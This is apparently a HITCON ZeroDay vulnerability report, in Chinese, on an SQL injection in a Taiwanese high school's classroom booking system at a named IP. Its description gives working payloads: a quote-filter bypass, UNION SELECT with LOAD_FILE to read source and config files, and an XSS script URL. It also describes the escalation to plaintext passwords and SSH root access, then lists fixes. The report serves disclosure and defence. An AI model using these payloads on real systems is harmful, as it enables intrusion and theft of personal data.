國立彰化高中 特別教室預約管理系統 SQL Injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2017-00539
  •  發信 Vendor: 台灣學術網路危機處理中心(TACERT)
  • Title: 國立彰化高中 特別教室預約管理系統 SQL Injection
  • Introduction: SQL Injection

處理狀態

目前狀態

公開
Last Update : 2017/09/10
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2017/07/11 01:31:14 : 新提交 (由 Cyku 更新此狀態)
  • 2017/07/11 02:19:07 : 新提交 (由 Cyku 更新此狀態)
  • 2017/07/11 02:21:02 : 新提交 (由 Cyku 更新此狀態)
  • 2017/07/11 23:44:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/07/29 10:19:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/07/29 10:19:34 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/09/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2017-00539
  • 通報者:kanade86514 (Cyku)
  • 風險:中
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://163.23.148.11/php/appoint/qOrder.php?show=all
(其餘頁面也可能存在相同問題,尚未檢查)

敘述

show參數未過濾不恰當字元,僅過濾單引號「 ' 」,輸入「 %cc' 」即可繞過。

以「 %cc' union select user(),2,3,4,5,version(),7,8,HEX(LOAD_FILE(0x2f7573722f6c6f63616c2f7777772f61706163686532322f646174612f7068702f6170706f696e742f714f726465722e706870)) %23 」取得使用者、版本資訊及PHP原始碼。

以「 %cc' union select 1,2,3,4,5,6,7,8,HEX(LOAD_FILE(0x2f7573722f6c6f63616c2f7777772f61706163686532322f646174612f7068702f636f6e6669672e706870)) %23 」取得資料庫使用者密碼。

進一步取得 calendar_root 資料表內容,發現使用者密碼均以明文保存,且管理員的密碼屬於弱密碼。

使用管理員帳密登入後台發現可直接瀏覽所有使用者的密碼明文。

再進一步測試發現伺服器允許外部任意主機以 ssh 連線,且其中一組具有 su 權限的使用者 billor 密碼與資料庫相同。

另發現仍有備份的 appointDB.sql 存在伺服器上,且發現已存在 1.php 洩漏 phpinfo 資訊。

補充:
資料進行 echo 時,均未進行處理,因此存在 XSS 問題。
http://163.23.148.11/php/appoint/qOrder.php?show=<script>alert(123)</script>

修補建議

1. 更新PHP、MySQL版本,建議應以 Prepared Statement (PDO) 重新改寫查詢,使用 bindValue 或 bindParam 等方法綁定查詢參數。

2. 資料庫請勿儲存明文密碼,任何密碼應先經過雜湊函數演算後再寫入,不應保存任何原始密碼,推薦使用 hash_hmac 函式。

3. 請更換管理員密碼,勿使用任何弱密碼。

4. 資料庫使用者不應使用 root,請建立新使用者並僅允許針對特定資料庫進行 CRUD 的權限。

5. 資料庫使用者密碼不應與主機使用者密碼相同,且需加強密碼強度。

6. 可限制 ssh 連線的來源 IP 。

7. echo 任何資料前,須先經過 HTML escape 處理。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;